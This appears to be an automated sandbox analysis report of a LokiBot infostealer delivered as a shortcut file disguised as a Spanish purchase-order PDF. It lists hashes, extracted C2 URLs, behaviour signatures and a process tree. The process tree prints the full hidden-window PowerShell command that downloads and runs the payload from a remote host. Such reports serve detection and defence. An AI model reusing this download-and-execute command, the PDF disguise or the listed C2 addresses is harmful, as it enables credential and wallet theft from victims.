Analysis

  • max time kernel
    126s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2024 18:15

General

  • Target

    ORDEN DE COMPRA.pdf.lnk

  • Size

    2KB

  • MD5

    3efc7482d963e194a7524ea6918c0912

  • SHA1

    d24544bc9eca9b444aa471409f6f60c49e8ca88b

  • SHA256

    6ad3893d400a4e64de9042bd306b8d346e89f2966d417ee431ceb635e7e608b3

  • SHA512

    6b41f1efa74f1655b60ca1bbd4e5831c1e6f314aa87f5af86ab3818f4dde9d551bab95ed58b7f267da8accc9cede878ea1b147345c0ee9111368e8f34364bcf7

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe

Extracted

Family

lokibot

C2

http://naturealmikaly.sytes.net:4409/aujfygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEN Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3968
      • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
        "C:\Users\Admin\AppData\Local\Temp\cisencb.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          PID:1012
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1012 -s 12
            5⤵
            • Program crash
            PID:4228
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          PID:2456
        • C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          C:\Users\Admin\AppData\Local\Temp\cisencb.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4384
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1012 -ip 1012
    1⤵
      PID:3304

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ropzpcoe.w4v.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\cisencb.exe

      Filesize

      273KB

      MD5

      bf5fe4b1c9bbb595dc629e682b855f92

      SHA1

      c2a6edba232a4c56e2c42581380fac5805ba44f7

      SHA256

      9d2c842f90bb71d27073bc5c3399bab03bd00f3968c604835617b2bf0d59f0d3

      SHA512

      cef15770970546152047c458611a25fa6cfa717ece5f47da84924f4f3f1e91943382ff7131c43a6a522b345f9438f3145fe17b30c61c2b82dedc2e5068bb5cb4

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-940901362-3608833189-1915618603-1000\0f5007522459c86e95ffcc62f32308f1_f2cdb6fb-4ab8-4547-9f25-fad1f7a44351

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-940901362-3608833189-1915618603-1000\0f5007522459c86e95ffcc62f32308f1_f2cdb6fb-4ab8-4547-9f25-fad1f7a44351

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • memory/1248-30-0x000000000A650000-0x000000000ABF4000-memory.dmp

      Filesize

      5.6MB

    • memory/1248-29-0x000000000A000000-0x000000000A09C000-memory.dmp

      Filesize

      624KB

    • memory/1248-32-0x0000000009FB0000-0x0000000009FB6000-memory.dmp

      Filesize

      24KB

    • memory/1248-31-0x000000000A140000-0x000000000A1D2000-memory.dmp

      Filesize

      584KB

    • memory/1248-26-0x00000000001F0000-0x000000000023A000-memory.dmp

      Filesize

      296KB

    • memory/1248-27-0x0000000004B20000-0x0000000004B26000-memory.dmp

      Filesize

      24KB

    • memory/1248-28-0x0000000009F00000-0x0000000009F56000-memory.dmp

      Filesize

      344KB

    • memory/2456-34-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/3968-15-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-2-0x00007FF99D843000-0x00007FF99D845000-memory.dmp

      Filesize

      8KB

    • memory/3968-25-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-14-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-13-0x00007FF99D840000-0x00007FF99E301000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-3-0x00000247FAF10000-0x00000247FAF32000-memory.dmp

      Filesize

      136KB

    • memory/4384-38-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB